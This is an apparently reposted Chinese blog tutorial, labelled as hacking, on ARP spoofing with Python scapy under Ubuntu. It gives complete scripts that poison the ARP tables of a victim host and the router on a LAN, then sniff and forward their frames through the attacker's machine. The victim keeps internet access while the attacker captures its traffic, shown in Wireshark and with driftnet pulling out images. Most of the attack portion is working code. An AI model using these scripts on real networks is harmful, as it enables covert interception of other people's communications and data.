欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

黑客-ubuntu下的scapy的ARP攻击(2)

程序员文章站 2022-04-07 17:33:52
...

前一篇文章介绍了如何攻击局域网内主机,让它无法上网http://blog.csdn.net/qq_35315699/article/details/73863632
具体语言是python,有c/c++语言基础的很快就能掌握

接下来我们来实现让被攻击主机依旧能上网,但数据包要从攻击者主机转发到路由器,这样我们就能获得被攻击者的所有数据包了

A机为被攻击主机 ip 192.168.1.106 mac 34:68:95:2a:51:01
B机为路由器 ip 192.168.1.1 mac a8:57:4e:32:02:ba
C机为攻击者主机 ip 192.168.1.109 mac a8:a7:95:4e:09:b3

原理:(默认大家已经理解ARP原理,这里就不讲了)
先通过前一章方法,将A机B机的路由表中的MAC地址换掉,都将对方的MAC地址换为C机的

import os
import sys
import signal

from scapy.all import (
    get_if_hwaddr,
    getmacbyip,
    ARP,
    Ether,
    sendp,
    sniff
)

def main():
    p = Ether()/ARP()
    p.hwdst = "34:68:95:2a:51:01"
    p.pdst = "192.168.1.106"
    p.psrc = '192.168.1.1'   
    p.hwsrc = 'a8:a7:95:4e:09:b3'

    q = Ether()/ARP()
    q.hwdst = "a8:57:4e:32:02:ba"
    q.pdst = "192.168.1.1"
    q.psrc = '192.168.1.106'   
    q.hwsrc = 'a8:a7:95:4e:09:b3'  
    while 1:
        sendp(p,inter=1)
        sendp(q,inter=1)

if __name__ == '__main__':
    main()

这是python实现代码,使用前一章命令行方法也可以,我为了方便,写了一个文件

核心就是

#改变A机ARP表
    p = Ether()/ARP()  #构造一个ARP包
    p.hwdst = "34:68:95:2a:51:01"  #A机MAC地址
    p.pdst = "192.168.1.106"   #A机IP地址
    p.psrc = '192.168.1.1'    #B机IP地址
    p.hwsrc = 'a8:a7:95:4e:09:b3'  #C机MAC地址
#改变B机ARP表
    q = Ether()/ARP()
    q.hwdst = "a8:57:4e:32:02:ba"
    q.pdst = "192.168.1.1"
    q.psrc = '192.168.1.106'   
    q.hwsrc = 'a8:a7:95:4e:09:b3'  
    while 1:
        sendp(p,inter=1)
        sendp(q,inter=1) #每隔一秒发送

至此,你会发现,A机B机的ARP表的彼此的MAC地址都变为了C机的,这都是前一章的内容了http://blog.csdn.net/qq_35315699/article/details/73863632黑客-ubuntu下的scapy的ARP攻击(2)

接下来,就是本章的核心了,将C机接收到的A机和B机通信的包发给对方

import os
import sys
import signal

from scapy.all import (
    get_if_hwaddr,
    getmacbyip,
    ARP,
    Ether,
    sendp,
    sniff,
    IP,
    TCP,
    Raw
)

def pack(packet): #对监听到的包进行处理
       #如果源MAC地址为B机,目的地址为C机,则将源MAC地址改为C机,目的MAC改为A机
    if packet.src=="a8:57:4e:32:02:ba" and packet.dst=="a8:a7:95:4e:09:b3":
        packet.dst = "34:68:95:2a:51:01"
        packet.src = "a8:a7:95:4e:09:b3"
        sendp(packet)
     #如果源MAC地址为A机,目的地址为C机,则将源MAC地址改为C机,目的MAC改为B机
    elif packet.src=="34:68:95:2a:51:01"and packet.dst=="a8:a7:95:4e:09:b3": 
        packet.dst = "a8:57:4e:32:02:ba"
        packet.src = "a8:a7:95:4e:09:b3"
        sendp(packet)

def main():
    sniff(filter="!arp and host 192.168.1.106",prn=pack)  #用来监听目的ip或源ip为A机的包,接收到后,进入pac函数

if __name__ == '__main__':
    main()

运行两份代码
黑客-ubuntu下的scapy的ARP攻击(2)黑客-ubuntu下的scapy的ARP攻击(2)

这时,可以看见A机依旧能上网,通过wireshark可以看见A和B通信的包黑客-ubuntu下的scapy的ARP攻击(2)

通过
工具driftnet图片解析工具,
A机搜索
黑客-ubuntu下的scapy的ARP攻击(2)
C机解析
黑客-ubuntu下的scapy的ARP攻击(2)

至此,成功,不过,后面的数据包解析才是大工程

相关标签: 黑客